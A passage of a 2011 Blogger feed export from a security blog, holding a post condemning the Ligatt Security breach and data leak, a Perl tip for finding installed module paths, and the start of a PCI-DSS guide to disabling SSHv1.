href='http://cosine-security.blogspot.com/feeds/2246510300547728795/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/02/metasploit-framework-wishlist.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2246510300547728795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2246510300547728795'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/02/metasploit-framework-wishlist.html' title='Metasploit Framework Wishlist'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-5203458375349162952</id><published>2011-02-04T16:05:00.000-08:00</published><updated>2011-02-04T16:05:07.944-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='breach'/><category scheme='http://www.blogger.com/atom/ns#' term='Ligatt'/><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><title type='text'>Ligatt Security Breach - Gone too far</title><content type='html'>The latest development in the Gregory D Evans/Ligatt Security internet drama has gotten me thinking. For anyone who&amp;nbsp;might&amp;nbsp;not be&amp;nbsp;familiar&amp;nbsp;with what this is all about, I suggest you check out a few resources on the subject:&lt;br /&gt;&lt;a href="http://attrition.org/errata/charlatan/gregory_evans/"&gt;http://attrition.org/errata/charlatan/gregory_evans/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2010/06/22/worlds_no_1_hacker/"&gt;http://www.theregister.co.uk/2010/06/22/worlds_no_1_hacker/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://packetstormsecurity.org/news/view/18569/Gregory-D.-Evans-Tried-To-Subpoena-Security-Researchers-Passwords.html"&gt;http://packetstormsecurity.org/news/view/18569/Gregory-D.-Evans-Tried-To-Subpoena-Security-Researchers-Passwords.html&lt;/a&gt;&lt;br /&gt;and a must read at:&amp;nbsp;&lt;a href="https://365.rsaconference.com/blogs/securityreading/2010/06/10/how-to-become-the-worlds-no-1-hacker"&gt;https://365.rsaconference.com/blogs/securityreading/2010/06/10/how-to-become-the-worlds-no-1-hacker&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In case you buy any of Gregory Evans' claims that he had permission to use those works, Chris Gates also known as carnal0wnage has publicly said that he never gave Evans permission and never&amp;nbsp;received&amp;nbsp;money from Evans. The saga is long and drawn out, and I won't rehash it here.&lt;br /&gt;&lt;br /&gt;The latest development is that Evans and Ligatt Security were breached this week. Someone compromised his computer, and with it his email and twitter accounts. It seems two of his websites may also have been&amp;nbsp;brought&amp;nbsp;down as part of this attack. The simple fact of the matter is that this action was unacceptable. Apparently among the released information was the personal information of a lot of innocent people, including social security numbers, bank accounts, and routing numbers. Now let me clarify this even more. Even if it was only Gregory Evans personal information, this would be unacceptable. Mr. Evans has a lot to answer for, but even he does not deserve to have his&amp;nbsp;important&amp;nbsp;personal information exposed in such a manner. This can be seen as nothing more than a violation of people's rights to privacy, no matter how much you might not like them. Those of us who are security professionals have made it our jobs to stop or prevent such violations from happening. The&amp;nbsp;thought&amp;nbsp;that such an attack may have come from within the InfoSec community is a&amp;nbsp;worrisome&amp;nbsp;one.&lt;br /&gt;&lt;br /&gt;I will admit in a moment of human weakness I allowed myself to be glad of this news. That is a terrible thing, and upon reflection I find it a little&amp;nbsp;embarrassing. The Internet has a power to take any disagreements or arguments and magnify them out of control until all pretense of civility is slowly eroded away and we are left with a monstrosity that no longer serves any purpose but to sustain itself. I see the examples of this in the recent Penny Arcade 'scandal' as well as the Ligatt drama. If we are past the point of behaving like mature rational beings it is time for us to absent ourselves from the discussion. Toward that end I would like to point out the posts I have seen by two people&amp;nbsp;&lt;a href="http://mattjezorek.com/articles/has-vigilantism-gone-to-far"&gt;Matt Jezorek&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href="http://mpictcenter.blogspot.com/2011/02/ethical-hacking-and-ligatt-security.html"&gt;Sam Bowne&lt;/a&gt;. Their articles are well thought out and examples of clear rational thinking, despite Sam Bowne's own involvement in this saga. These are the people we should want speaking for us, and those of us who can add nothing better than what they already are(myself included) should probably just sit down and shut up now.&lt;br /&gt;&lt;br /&gt;That is all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-5203458375349162952?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/5203458375349162952/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/02/ligatt-security-breach-gone-too-far.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5203458375349162952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5203458375349162952'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/02/ligatt-security-breach-gone-too-far.html' title='Ligatt Security Breach - Gone too far'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-4094924010662011000</id><published>2011-01-25T11:32:00.000-08:00</published><updated>2011-01-25T11:32:24.066-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Perl Tip: finding module path</title><content type='html'>I thought I'd share a little Perl Tip/Trick that saves me a lot of trouble. Say you have a perl module installed and you need to make a correction to the source code. For some reason you can't find where the module installed to though. You could spend time using 'find' searching through folders or do this:&lt;br /&gt;&lt;br /&gt;perl -M'Data::Dumper' -M'&lt;module name=""&gt;' -e 'print Dumper(\%INC)'&amp;nbsp;&lt;/module&gt;&lt;br /&gt;&lt;br /&gt;This will dump all the modules loaded out to screen for you. You can of course pipe this into grep to look for the specific module or modules you want. You will then get the path.&lt;br /&gt;&lt;br /&gt;Observe:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;c0malod@Takeshi:/Tools$ perl -M'Data::Dumper' -M'Time::HiRes' -e 'print Dumper(\%INC)'&lt;br /&gt;$VAR1 = {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'warnings/register.pm' =&amp;gt; '/usr/share/perl/5.10/warnings/register.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'bytes.pm' =&amp;gt; '/usr/share/perl/5.10/bytes.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'XSLoader.pm' =&amp;gt; '/usr/lib/perl/5.10/XSLoader.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'Carp.pm' =&amp;gt; '/usr/share/perl/5.10/Carp.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'Exporter/Heavy.pm' =&amp;gt; '/usr/share/perl/5.10/Exporter/Heavy.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'vars.pm' =&amp;gt; '/usr/share/perl/5.10/vars.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'strict.pm' =&amp;gt; '/usr/share/perl/5.10/strict.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'Time/HiRes.pm' =&amp;gt; '/usr/lib/perl/5.10/Time/HiRes.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'Exporter.pm' =&amp;gt; '/usr/share/perl/5.10/Exporter.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'warnings.pm' =&amp;gt; '/usr/share/perl/5.10/warnings.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'AutoLoader.pm' =&amp;gt; '/usr/share/perl/5.10/AutoLoader.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'overload.pm' =&amp;gt; '/usr/share/perl/5.10/overload.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'Config.pm' =&amp;gt; '/usr/lib/perl/5.10/Config.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'DynaLoader.pm' =&amp;gt; '/usr/lib/perl/5.10/DynaLoader.pm',&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'Data/Dumper.pm' =&amp;gt; '/usr/local/lib/perl/5.10.1/Data/Dumper.pm'&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;};&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;OR:&lt;/div&gt;&lt;div&gt;&lt;div&gt;c0malod@Takeshi:/Tools$ perl -M'Data::Dumper' -M'Time::HiRes' -e 'print Dumper(\%INC)' | grep 'HiRes'&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;'Time/HiRes.pm' =&amp;gt; '/usr/lib/perl/5.10/Time/HiRes.pm',&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Simple little trick, but it works wonders. Cheers.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-4094924010662011000?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/4094924010662011000/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/01/perl-tip-finding-module-path.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4094924010662011000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4094924010662011000'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/01/perl-tip-finding-module-path.html' title='Perl Tip: finding module path'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-8294140873550278272</id><published>2011-01-21T05:16:00.000-08:00</published><updated>2011-01-21T05:16:16.256-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='compliance'/><category scheme='http://www.blogger.com/atom/ns#' term='standard'/><category scheme='http://www.blogger.com/atom/ns#' term='sysadmin'/><category scheme='http://www.blogger.com/atom/ns#' term='SSH'/><category scheme='http://www.blogger.com/atom/ns#' term='PCI'/><title type='text'>Two must haves for PCI-DSS</title><content type='html'>&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;For better or worse, my life revolves around PCI-DSS these days. As I move along through the realm of PCI-Compliance, I thought I would start sharing some observations. I am going to start today with two standards that should be implemented to save you a lot of time and energy. If you have these in place before you start your vulnerability scanning, you won’t have to deal with an avalanche of results from these issues.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;1.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;&lt;span class="Heading2Char"&gt;&lt;span style="font-size: 13.0pt; line-height: 115%;"&gt;Disable SSHv1 Support&lt;/span&gt;&lt;/span&gt;. Version 1 of the SSH protocol is prone to a number of issues. For this reason, it has been essentially abandoned in favour of SSHv2. I have included instructions for disabling SSHv1 in a few of the more common setups.&lt;/span&gt;&lt;/div&gt;&lt;h2 style="margin-left: 1.0in; mso-list: l0 level2 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;a.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;OpenSSH&lt;/span&gt;&lt;/h2&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;i.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Edit the sshd_config file. This file is normally located in /etc/ssh/ .&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;ii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;!--[endif]--&gt;Change the line that reads &lt;b&gt;&lt;i&gt;Protocol 1,2 &lt;/i&gt;&lt;/b&gt;&amp;nbsp;so that it instead reads &lt;b&gt;&lt;i&gt;Protocol 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;iii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;!--[endif]--&gt;Restart the SSHD Service&lt;b&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;h2 style="margin-left: 1.0in; mso-list: l0 level2 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;b.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Cisco&lt;/span&gt;&lt;/h2&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;i.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Enter the command &lt;b&gt;ip ssh version 2&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;ii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;This will enable SSH v2 and disable SSH v1 when SSH is already configured.&lt;/span&gt;&lt;/div&gt;&lt;h2 style="margin-left: 1.0in; mso-list: l0 level2 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;c.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;F5 Big-IP 4.x&lt;/span&gt;&lt;/h2&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;i.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Log in to the BIG-IP command line.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;ii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Change directories to the&amp;nbsp;&lt;b&gt;/config/ssh&lt;/b&gt;&amp;nbsp;directory by typing the following command:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;b&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;iii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 